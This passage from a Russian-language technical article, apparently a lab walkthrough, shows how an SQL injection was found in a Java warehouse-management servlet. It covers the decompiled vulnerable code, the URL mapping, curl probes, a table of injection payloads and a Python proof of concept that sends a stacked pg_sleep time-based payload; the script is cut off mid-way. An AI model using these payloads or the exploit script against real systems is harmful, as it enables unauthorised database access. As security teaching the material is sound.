100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/bc1\/474\/101\/bc1474101f2c757772c3462570b4e78d.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bc1\/474\/101\/bc1474101f2c757772c3462570b4e78d.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>doPost \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u0432 doGet \u2014 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 GET, \u0438 POST.<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u0430\u043c doGet:<\/p>\n<p><code>public void doGet(HttpServletRequest request, HttpServletResponse response)<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 throws ServletException, IOException {<br \/> \u00a0\u00a0\u00a0 response.setContentType(\"text\/html; charset=UTF-8\");<br \/> \u00a0\u00a0\u00a0 PrintWriter out = response.getWriter();<\/p>\n<p> \u00a0\u00a0\u00a0 String fullExport = request.getParameter(\"fullExport\");<br \/> \u00a0\u00a0\u00a0 if ((fullExport != null) &amp;&amp; (\"true\".equals(fullExport))) {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportFullCatalog(out);<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return;<br \/> \u00a0\u00a0\u00a0 }<\/p>\n<p> \u00a0\u00a0\u00a0 String minQty = request.getParameter(\"minQty\");<br \/> \u00a0\u00a0\u00a0 String warehouseId = request.getParameter(\"warehouseId\");<br \/> \u00a0\u00a0\u00a0 String includeArchived = request.getParameter(\"includeArchived\");<\/p>\n<p> \u00a0\u00a0\u00a0 if ((includeArchived != null) &amp;&amp; (\"true\".equals(includeArchived))) {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 boolean archived = AccessUtil.hasArchiveAccess(warehouseId);<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(archived);<br \/> \u00a0\u00a0\u00a0 } else if (minQty != null) {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if ((warehouseId != null) &amp;&amp; (!\"\".equals(warehouseId))) {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportStockByWarehouse(warehouseId, minQty, out);\u00a0\u00a0 \/\/ &lt;-- \u0441\u044e\u0434\u0430<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } else {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportAllStock(minQty, out);<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 }<br \/> \u00a0\u00a0\u00a0 } else {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(\"missing parameters\");<br \/> \u00a0\u00a0\u00a0 }<br \/> }<\/code><\/p>\n<h3>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435<\/h3>\n<p>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u043b\u0435\u0442: fullExport, minQty, warehouseId, includeArchived. \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435:<\/p>\n<p>\u00b7 fullExport=true \u2192 exportFullCatalog \u0438 return. \u041c\u0438\u043c\u043e.<\/p>\n<p>\u00b7 includeArchived=true \u2192 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041c\u0438\u043c\u043e.<\/p>\n<p>\u00b7 \u0438\u043d\u0430\u0447\u0435, \u0435\u0441\u043b\u0438 \u0437\u0430\u0434\u0430\u043d minQty \u0438 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 warehouseId \u2192 <strong>exportStockByWarehouse(warehouseId, minQty, out)<\/strong>. \u0421\u044e\u0434\u0430.<\/p>\n<p>\u0412\u0445\u043e\u0434 \u0432 \u043d\u0443\u0436\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443: fullExport \u0438 includeArchived \u043d\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c, minQty \u0438 warehouseId \u2014 \u043d\u0435\u043f\u0443\u0441\u0442\u044b\u043c\u0438.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/01c\/5ad\/566\/01c5ad56620e8dac6bfda98d85849a9d.png\" alt=\"doPost \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 doGet \u2014 \u043e\u0431\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432\u0435\u0434\u0443\u0442 \u043a \u043e\u0434\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435.\" title=\"doPost \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 doGet \u2014 \u043e\u0431\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432\u0435\u0434\u0443\u0442 \u043a \u043e\u0434\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435.\" width=\"945\" height=\"361\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/01c\/5ad\/566\/01c5ad56620e8dac6bfda98d85849a9d.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/01c\/5ad\/566\/01c5ad56620e8dac6bfda98d85849a9d.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>doPost \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 doGet \u2014 \u043e\u0431\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432\u0435\u0434\u0443\u0442 \u043a \u043e\u0434\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435.<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u0428\u0430\u0433 4. \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e<\/h2>\n<p><code>public void exportStockByWarehouse(String paramString1, String minQty, PrintWriter out) {<br \/> \u00a0\u00a0\u00a0 int min = Integer.parseInt(minQty);<br \/> \u00a0\u00a0\u00a0 String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=\"<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + paramString1 + \" and QTY &gt; \" + min;<br \/> \u00a0\u00a0\u00a0 ...<br \/> \u00a0\u00a0\u00a0 Statement st = ConnectionPool.getConnection().createStatement();<br \/> \u00a0\u00a0\u00a0 ResultSet rs = st.executeQuery(qry);<br \/> \u00a0\u00a0\u00a0 ...<br \/> }<\/code><\/p>\n<p>\u00b7 minQty \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 Integer.parseInt(&#8230;)\u00a0\u2014 \u043d\u0435\u2011\u0447\u0438\u0441\u043b\u043e \u0434\u0430\u0435\u0442 NumberFormatException \u0435\u0449\u0435 \u0434\u043e\u00a0\u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u0430\u043a\u00a0\u0432\u0435\u043a\u0442\u043e\u0440 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d.<\/p>\n<p>\u00b7 warehouseId (paramString1) \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u0437\u0430\u043f\u0440\u043e\u0441 <strong>\u043a\u0430\u043a\u00a0\u0435\u0441\u0442\u044c<\/strong>: \u0431\u0435\u0437\u00a0\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0431\u0435\u0437\u00a0PreparedStatement, \u0431\u0435\u0437\u00a0\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a\u00a0\u0447\u0438\u0441\u043b\u0443.<\/p>\n<p>\u00b7 \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 Statement.executeQuery(qry)\u00a0\u2014 \u0431\u0430\u0437\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e.<\/p>\n<p>warehouseId \u0443\u044f\u0437\u0432\u0438\u043c \u043a SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0432\u044b\u0447\u0435\u043a (WAREHOUSE_ID=1, \u0430 \u043d\u0435 =&#8217;1&#8242;). \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2014 \u043c\u044b \u0443\u0436\u0435 \u0432\u043d\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u0430 \u0438 \u043c\u043e\u0436\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 SQL. \u0421\u0423\u0411\u0414 \u2014 PostgreSQL.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3e8\/61d\/ae2\/3e861dae2d9703ab9d028b14b016136e.png\" alt=\"\u0421\u0442\u0440\u043e\u043a\u0430 &quot;... WHERE WAREHOUSE_ID=&quot; + paramString1 \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 SQL.\" title=\"\u0421\u0442\u0440\u043e\u043a\u0430 &quot;... WHERE WAREHOUSE_ID=&quot; + paramString1 \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 SQL.\" width=\"945\" height=\"504\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/3e8\/61d\/ae2\/3e861dae2d9703ab9d028b14b016136e.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3e8\/61d\/ae2\/3e861dae2d9703ab9d028b14b016136e.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u0421\u0442\u0440\u043e\u043a\u0430 &#171;&#8230; WHERE WAREHOUSE_ID=&#187; + paramString1 \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 SQL.<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u0428\u0430\u0433 5. \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c URL<\/h2>\n<p>\u041a\u043b\u0430\u0441\u0441 \u2014 \u043d\u0435 \u0430\u0434\u0440\u0435\u0441. \u041f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 URL \u0441\u0435\u0440\u0432\u043b\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u043d\u0430\u0440\u0443\u0436\u0438? \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u00ab\u043a\u043b\u0430\u0441\u0441 \u2192 URL\u00bb \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f WEB-INF\/web.xml: \u0431\u043b\u043e\u043a &lt;servlet&gt; \u0434\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u043c\u044f, &lt;servlet-mapping&gt; \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u0438\u043c\u044f \u043a \u043f\u0443\u0442\u0438. \u0413\u0440\u0435\u043f\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u0430\u0441\u0441\u0430:<\/p>\n<p><code>&lt;servlet&gt;<br \/> \u00a0\u00a0\u00a0 &lt;servlet-name&gt;ReportExportServlet&lt;\/servlet-name&gt;<br \/> \u00a0\u00a0\u00a0 &lt;servlet-class&gt;com.acme.wms.servlets.ReportExportServlet&lt;\/servlet-class&gt;<br \/> &lt;\/servlet&gt;<\/p>\n<p> &lt;servlet-mapping&gt;<br \/> \u00a0\u00a0\u00a0 &lt;servlet-name&gt;ReportExportServlet&lt;\/servlet-name&gt;<br \/> \u00a0\u00a0\u00a0 &lt;url-pattern&gt;\/servlet\/ReportExportServlet&lt;\/url-pattern&gt;<br \/> &lt;\/servlet-mapping&gt;<\/code><\/p>\n<p>url-pattern: \/servlet\/ReportExportServlet.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2af\/419\/5e3\/2af4195e37bd8630c0844933dc066f35.png\" alt=\"web.xml \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c URL.\" title=\"web.xml \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c URL.\" width=\"945\" height=\"134\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/2af\/419\/5e3\/2af4195e37bd8630c0844933dc066f35.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2af\/419\/5e3\/2af4195e37bd8630c0844933dc066f35.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>web.xml \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c URL.<\/em><\/figcaption><\/div>\n<\/figure>\n<p>\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0432\u0435\u0442\u043a\u0443:<\/p>\n<p><code>https:\/\/&lt;target&gt;:8443\/servlet\/ReportExportServlet?minQty=1&amp;warehouseId=1<\/code><\/p>\n<p>\u0421\u043e\u0431\u0435\u0440\u0435\u0442 SQL:<\/p>\n<p><code>select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY &gt; 1<\/code><\/p>\n<p>warehouseId \u2014 \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430.<\/p>\n<h2>\u0428\u0430\u0433 6. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u043c<\/h2>\n<h3>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e<\/h3>\n<p>\u0420\u0443\u043a\u0430\u043c\u0438, \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 ; \u0432 warehouseId:<\/p>\n<p><code>curl '<\/code><a href=\"https:\/\/192.168.56.20:8443\/servlet\/ReportExportServlet?minQty=1&amp;warehouseId=1\" rel=\"noopener nofollow\"><code>https:\/\/192.168.56.20:8443\/servlet\/ReportExportServlet?minQty=1&amp;warehouseId=1<\/code><\/a><code>;' -k -i<\/code><\/p>\n<p>\u0421\u0438\u043c\u0432\u043e\u043b ; \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u043e\u0434\u0438\u043d SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 (\u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441). JDBC-\u0434\u0440\u0430\u0439\u0432\u0435\u0440 PostgreSQL \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u043e\u0434\u043d\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u2014 \u044d\u0442\u0438\u043c \u043c\u044b \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c <a href=\"#_msocom_1\" rel=\"noopener nofollow\">[C1]<\/a>\u00a0debug-\u043b\u043e\u0433\u0435 \u0432 \u043b\u043e\u0433\u0430\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0430 \u0432 \u043b\u043e\u0433\u0435 PostgreSQL \u2014 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430. \u0412\u0432\u043e\u0434 \u0434\u043e\u043b\u0435\u0442\u0430\u0435\u0442 \u0434\u043e \u043f\u0430\u0440\u0441\u0435\u0440\u0430 SQL.<\/p>\n<h3>\u041f\u0435\u0440\u0435\u0431\u043e\u0440 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a<\/h3>\n<p>\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (PostgreSQL, \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442):<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (\u0432 warehouseId)<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0418\u0434\u0435\u044f<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0418\u0442\u043e\u0433<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">1 ORDER BY 1&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043b\u043e\u043d\u043e\u043a<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0437\u0430\u0432\u0438\u0441\u0438\u0442<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">1 UNION SELECT 1<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 UNION<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">1 UNION SELECT CASE WHEN (1=1) THEN 1 ELSE 0   END<\/p>\n<\/td>\n<td>\n<p align=\"left\">boolean-based<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">1;select pg_sleep(10)&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">time-based blind<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u00a0<\/p>\n<p>UNION \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442: \u0447\u0438\u0441\u043b\u043e \u0438 \u0442\u0438\u043f\u044b \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u0422\u043e\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 distinct(SKU) (varchar), \u0430 SELECT 1 \u2014 integer. Postgres \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 UNION types integer and character varying cannot be matched. \u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 (SELECT NULL::text) \u043f\u043e\u043c\u043e\u0433\u043b\u043e \u0431\u044b, \u043d\u043e \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435.<\/p>\n<p>Time-based \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. pg_sleep(10) \u2014 \u0444\u0443\u043d\u043a\u0446\u0438\u044f PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u0442 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u0435\u043a\u0443\u043d\u0434. \u041f\u0440\u0438\u0435\u043c \u0443\u0434\u043e\u0431\u0435\u043d \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435: \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 10 \u0441\u0435\u043a\u0443\u043d\u0434 \u0434\u043e\u043b\u044c\u0448\u0435 \u2014 \u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b \u00ab\u0434\u0430\u00bb. \u0422\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432\u0441\u043b\u0435\u043f\u0443\u044e, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f.<\/p>\n<p>\u041e\u0434\u043d\u0430 \u0434\u0435\u0442\u0430\u043b\u044c: \u043f\u043e\u0441\u043b\u0435 warehouseId \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0445\u0432\u043e\u0441\u0442 \u00a0and QTY &gt; 1. \u0415\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0433\u043e\u043b\u043e\u0439, \u043e\u043d \u043f\u0440\u0438\u043b\u0438\u043f\u043d\u0435\u0442 \u043a pg_sleep (select pg_sleep(10) and QTY &gt; 1) \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u043f\u0430\u0434\u0435\u0442 \u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0445\u0432\u043e\u0441\u0442 \u0433\u0430\u0441\u0438\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c &#8212;. \u041d\u0430\u0448 \u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441 ;select pg_sleep(10)&#8212; \u0434\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443:<\/p>\n<p>select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep(10)&#8212; and QTY &gt; 1<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/53c\/fee\/b57\/53cfeeb57265c297e40c78bbc340b614.png\" width=\"945\" height=\"693\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/53c\/fee\/b57\/53cfeeb57265c297e40c78bbc340b614.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/53c\/fee\/b57\/53cfeeb57265c297e40c78bbc340b614.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<h3>PoC \u043d\u0430 Python<\/h3>\n<p><code>#!\/usr\/bin\/env python3<br \/> import sys<br \/> import requests<br \/> import urllib3<\/p>\n<p> urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p> def main():<br \/> \u00a0\u00a0\u00a0 if len(sys.argv) != 2:<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(\"usage: %s &lt;target&gt;\" % sys.argv[0])<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sys.exit(1)<\/p>\n<p> \u00a0\u00a0\u00a0 target = sys.argv[1]<br \/> \u00a0\u00a0\u00a0 payload = \";select pg_sleep(10)--\"\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # time-based blind, -- \u0433\u0430\u0441\u0438\u0442 \u0445\u0432\u043e\u0441\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u0430<\/p>\n<p> \u00a0\u00a0\u00a0 url = \"<\/code><a href=\"https:\/\/%s:8443\/servlet\/ReportExportServlet\" rel=\"noopener nofollow\"><code>https:\/\/%s:8443\/servlet\/ReportExportServlet<\/code><\/a><code>\" % target<br \/> \u00a0\u00a0\u00a0 params = {\"minQty\": \"1\", \"warehouseId\": \"1%s\" % payload}<\/p>\n<p> \u00a0\u00a0\u00a0 r = requests.get(url, params=params, verify=False, timeout=30)<br \/> \u00a0\u00a0\u00a0 print(\"status:\u00a0 %s\" % r.status_code)<br \/> \u00a0\u00a0\u00a0 print(\"elapsed: %.2fs\" % <\/code><a href=\"http:\/\/r.elapsed.total\" rel=\"noopener nofollow\"><code>r.elapsed.total<\/code><\/a><code>_seconds())\u00a0 \u00a0# ~10s =&gt; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e<\/p>\n<p> if 